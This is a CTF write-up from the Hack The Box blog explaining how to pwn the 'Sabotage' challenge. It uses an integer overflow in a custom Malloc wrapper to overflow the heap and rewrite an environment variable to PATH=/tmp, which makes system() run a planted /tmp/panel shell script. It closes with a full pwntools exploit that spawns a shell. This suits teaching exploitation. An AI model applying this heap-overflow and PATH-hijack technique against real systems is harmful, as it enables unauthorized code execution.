Write-Ups

12 min read

CA CTF 2022: Pwning starships - Sabotage

Bad Alloc, taking advantage of Heap and Integer Overflows to corrupt env variables.

un1c0rn avatar

un1c0rn,
Jun 15
2022

Challenge Description 📄

Draeger ordered Thanatos, destroyer under the Golden Fang flag, to annihilate our defence base with a super lazer beam capable of destroying whole planets. Bonnie and his crew go on a sabotage-suicide mis,sion in order to stop Thanatos before it's too late.

In this write-up, we'll go over the solution for the medium difficulty pwn challenge Sabotage that requires the exploitation of an Integer Overflow in a custom Malloc implementation. This kind of vulnerability is known as “BadAlloc”. The solution involves triggering a heap overflow by using the Integer overflow found in the custom Malloc implementation to corrupt existing environment variables on the heap to mislead system to spawn a shell.

The application at-a-glance 🔍

Sabotage is a binary compiled with all protections enabled:
This should not scary us, because actually we do not need to bypass any of them.

Running the challenge, we have some options to play with. Options 3, 4, and 5 are not worth any inspection they are useless for the solution of the challenge. Option 5, just terminates the program, option 4 is printing a bunch of random messages generated from /dev/urandom and option 3 is impossible to win the fight against Thanatos starship. The only options worth inspection is options 1 and 2.

Time for IDA

Loading the binary into IDA, we can see the decompiled code for option 2:

void quantum_destabilizer(void)

{
  int __fd;
  char *pcVar1;
  undefined8 *__string;
  size_t __n;
  long in_FS_OFFSET;
  char local_60 [8];
  undefined4 local_58;
  undefined2 local_54;
  char local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  pcVar1 = getenv("ACCESS");
  if (pcVar1 == (char *)0x0) {
    __string = (undefined8 *)Malloc(0x18);
    *__string = 0x443d535345434341;
    *(undefined4 *)(__string + 1) = 0x45494e45;
    *(undefined2 *)((long)__string + 0xc) = 0x44;
    putenv((char *)__string);
  }
  printf("[\x1b[34m*\x1b[39m] Quantum destabilizer mount point: ");
  fgets(local_60,8,stdin);
  pcVar1 = strchr(local_60,0x2e);
  if (pcVar1 == (char *)0x0) {
    pcVar1 = strchr(local_60,0x2f);
    if (pcVar1 == (char *)0x0) {
      pcVar1 = strchr(local_60,10);
      if (pcVar1 != (char *)0x0) {
        *pcVar1 = '\0';
      }
      memset(&local_58,0,0x20);
      local_58 = 0x706d742f;
      local_54 = 0x2f;
      strcat((char *)&local_58,local_60);
      __fd = open((char *)&local_58,0x42,0x1ff);
      if (__fd == -1) {
        puts("[\x1b[31m!\x1b[39m] Quantum destabilizer failed to penetrate the shield.");
                    /* WARNING: Subroutine does not return */
        exit(-1);
      }
      printf(
            "[\x1b[34m*\x1b[39m] Quantum destablizer is ready to pass a small armed unit throughthe enemy\'s shield: "
            );
      fgets(local_38,0x20,stdin);
      __n = strlen(local_38);
      write(__fd,local_38,__n);
      close(__fd);
      puts("[\x1b[32m+\x1b[39m] Quantum destabilizer successfully destablized Thanatos shield.");
      penetrated_the_shield = 1;
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      penetrated_the_shield = 1;
      return;
    }
  }
  puts("[\x1b[31m!\x1b[39m] Thanatos spotted the intrusion, you are shot with a deadly lazer beam.")
  ;
                    /* WARNING: Subroutine does not return */
  exit(-1);
}

We can see at the very beginning the environment variable “ACCESS” is to be initialized with “DENIED”  if it’s not present in the environment variables. The environment variable “ACCESS” is allocated with “Malloc” and is added to the environment list with putenv. Both “Malloc” and “putenv” are crucial to understanding, but for the moment we can ignore them.

Quantum de stabilizer will ask for a short filename of 8 characters. It will not accept any filename with path traversal patterns.  Next quantum destabilizer will ask you to enter some contents for your file and finally, it will save it in the /tmp directory. This option provides you the ability to create short files in the /tmp directory with arbitrary contents. There shouldn’t be any path traversal and by default, this function should be safe.

void enter_command_control(void)

{
  char *pcVar1;
  long in_FS_OFFSET;
  undefined8 local_20;
  char *local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts(
      "Access to the control panel of the enemy ship is protected through a privileged ACCESS codeof unpredictable size"
      );
  pcVar1 = getenv("ACCESS");
  if (pcVar1 == (char *)0x0) {
    setenv("ACCESS","DENIED",1);
  }
  printf("[\x1b[34m*\x1b[39m] ACCESS code length: ");
  __isoc99_scanf(&DAT_00102023,&local_20);
  local_18 = (char *)Malloc(local_20);
  if (local_18 == (char *)0x0) {
    puts("[\x1b[31m!\x1b[39m] Connection is lost, quantum noise is disrupting the transmission.\n");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  printf("[\x1b[34m*\x1b[39m] ACCESS code: ");
  readBuffer(local_18,local_20,local_20);
  setenv("ACCESS",local_18,1);
  system("panel");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Option 1, is the buggy option of the program. Note that at the very beginning again we check for the environment variable “ACCESS” and if it is not present we initialize it with “DENIED” but now using setenv.

In option 1, we are asked for an unsigned long integer which is passed to “Malloc” as our “ACCESS” code length. This integer can be quite large and “Malloc” might not be able to allocate the requested size and might fail. In this case, the program will exit with an error code of -1. If “Malloc” can handle the requested size, we are asked to fill the allocated buffer with our “ACCESS” code. This access code will be passed to the command “panel” as an environment variable.

We do not know what “panel” does with the “ACCESS” environment variable, because we do not have at our disposal the “panel” binary. But we do not need to know what is doing behind the scenes in order to solve the challenge. The only thing we need to notice is that is being executed from system with a relative path.

If we look up the man page for system, we can read in the Caveats section something of importance.

It is not telling us the solution to the challenge but it gives us a hint. When we execute a command without providing the absolute path for the command binary, system will try to search in the directories specified in the PATH environment. 

If we are able to corrupt the PATH environment variable in the binary and alter it to point to the /tmp directory we can upload a file named “panel” with the following contents:


And if we select option 1 again, instead of executing the original “panel”, our malicious shell script in “/tmp/panel” will be executed.

Where is the bug?

But so far it seems there is no bug in option 1. But this is not the case. 



Interestingly enough, “Malloc” is not the actual “malloc” but instead a small wrapper for “malloc”.


“Malloc” will ask extra 8 bytes from “malloc” to append in each allocated chunk a tracking size field. This way you don’t need to track the size of each allocated chunk in an array on the stack or the data section of the program and instead append some tracking metadata for your chunks on the heap!

In this way, you can create a simple “get_chunk_size” function to retrieve the size of the chunk easily.

But in option 1, we can control the chunk size passed to “Malloc”. Although “malloc” itself is guarded against integer overflows in the size field, our custom “Malloc” implementation is not. “Malloc” does not check if the final chunk size overflows and hence if we request a size of (0xffffffffffffffff = -1) “Malloc” will add 8 bytes to it and eventually will overflow to a very small value, returning back to us a very small chunk of 32 bytes.

Following the integer overflow in “Malloc” in option 1, eventually, we will have the chance to write to our small allocated chunk inside the readBuffer.

void readBuffer(long param_1,ulong param_2)

{
  ulong local_10;
  
  local_10 = 0;
  while( true ) {
    if (param_2 <= local_10) {
      return;
    }
    read(0,(void *)(local_10 + param_1),1);
    if (*(char *)(local_10 + param_1) == '\0') break;
    if (*(char *)(local_10 + param_1) == '\n') {
      *(undefined *)(local_10 + param_1) = 0;
      return;
    }
    local_10 = local_10 + 1;
  }
  return;
}

The readBuffer function will read one character at a time until we find either a null byte or a newline or we read too many characters for our buffer. At the time of the integer overflow, our size must be 0xffffffffffffffff, something terrible large leading us to a huge heap overflow. But thankfully we can terminate the readBuffer any time by providing either a newline or a null byte at the end.

Inspecting the heap for fun and profit.

After noticing the heap overflow we need to look up two things. What is present on the heap and what version of glibc the binary is linked with.

By running strings in the provided glibc we can see it is glibc 2.35.

In glibc 2.35 there are a lot of extra mitigations in place for mitigating attacks that might have worked in this scenario like House of Force by corrupting various metadata on the heap placed by ptmalloc2. There is still some hope and you might find a way by corrupting metadata of ptmalloc2, but there is an easier way to solve the challenge.

If we run the binary and immediately select option 1 and enter an “ACCESS” code of length 8 and value “ALLOWED”, the heap looks like this:

* Notice the skipped chunk in blue highlighted with a red rectangle is the tcache.

Our allocated chunk is the yellow in the end with our contents “ALLOWED” and after that the chunk containing the newly created environment variable for “ACCESS” as a result of setenv. We can also see a big chunk containing a lot of stack addresses. This chunk is the environment list of the running program. Each time you add or remove an environment variable in the program, glibc is forced to reallocate the entire chunk containing the environment list in order to add or release space from the list. 

This environment list is passed to “panel” each time we run it with system. By leveraging our heap overflow and creating a file named “panel” in the /tmp directory we can mislead system to run our shell script in “/tmp” directory instead and get a shell!

Corrupting the heap for fun and profit.

Now our plan is first to create a file named “panel” in the tmp directory using option 2, and after that, we trigger our heap overflow to corrupt the environment variables on the heap with the goal to change PATH to “/tmp” and then get a shell from the system.

Now break when we return from option 2 and let’s inspect the heap before continuing to the next step.

Let’s try to understand each chunk first. The green chunk is the corresponding chunk for the environment variable “ACCESS” which is allocated inside quantum_destabilizer. Because at the moment we are running the program the “ACCESS” environment variable is not defined, then the program allocates some space for it with “Malloc” and copies “ACCESS=DENIED” with strcpy as we saw earlier.  

The dark blue large chunk is the reallocated environment list. Notice that in this case we allocate the environment variable “ACCESS” before putting it on the environment list and this is why the chunk for the “ACCESS” environment variable is placed before the chunk for the environment list.

The pink chunk is our buffer for the read_option function.

long read_option(void)

{
  char *__s;
  long lVar1;
  
  __s = (char *)Malloc(0x10);
  printf("> ");
  fgets(__s,0x10,stdin);
  lVar1 = strtol(__s,(char **)0x0,0);
  Free(__s);
  return lVar1;
}

This buffer is constantly being allocated and freed each time we enter an option. And notice that is placed before the chunk for the environment variable “ACCESS”. This is important to understand because we actually want to allocate it in option 1 and trigger our heap overflow there having the chance to corrupt the “ACCESS” environment variable and alter its contents avoiding corrupting the rest of the environment variables.

But we are lucky, by entering option 1 and triggering our heap overflow we will allocate this chunk, having the opportunity to corrupt the “ACCESS” environment variable.

Finally, we break when the final setenv will take place in enter_command_control, to see the heap one last time.

We can see that we allocated the pink chunk and we should be fine to trigger our heap overflow and corrupt the “ACCESS” environment variable.

But what will happen when setenv will be executed? Stepping the setenv call the resulting heap layout will be like this:

You might solve it without really understanding what is happening behind the scenes but actually here setenv will allocate a new buffer for our new “ACCESS” code and replace the reference in the old environment list. So the green chunk is no longer part of the environment list, and hence if we corrupt it we will not corrupt any environment variable. And by overflowing and corrupting the environment list we will make the program probably crash except if we can provide our own pointers to forge our own environment list.

But this is not actually the case. If we corrupt the “ACCESS” chunk and change the environment variable from “ACCESS” to “PATH”, when setenv will be called, it will not find any “ACCESS” environment variable in the environment list to replace and hence it will keep our old “ACCESS” reference in the environment list! setenv will not check for any duplicate environment variables and will happily accept a second “PATH” environment variable. You can look at this in the glibc source code if you want, for simplicity I will not include the glibc snippets.

You have also to understand one last thing. After our heap overflow, we will have in the environment list of the program probably two “PATH” references. Which one will be actually used?

You can easily test this by running:

A=2 A=3 env | grep “A=”

And you can see that the last one will be used.

Fortunately, in our case, our forged “PATH” environment variable is placed at the end of the environment list and it will overwrite the original “PATH”.

So after understanding this, the exploit is simple:

Writing the exploit 

from pwn import *

elf = ELF('sabotage', checksec = False)

def start():
  if args.GDB:
    return gdb.debug(elf.path)
  elif args.REMOTE:
    return remote('localhost', 1337)
  else:
    return process(elf.path)

io = start()
io.sendlineafter(b'> ', b'2') # select to create a filename
io.sendlineafter(b':', b'panel')
io.sendlineafter(b':', b'#!/bin/sh -s') # who doesn't want a shell on their server ;)?

# trigger BadAlloc & overwrite PATH ;)
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b':', b'-1')
io.sendlineafter(b':', b'A'*32 + b'PATH=/tmp\x00')

# fix PATH
io.sendline(b'export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/sbin')
io.interactive()
Hack The Blog

The latest news and updates, direct from Hack The Box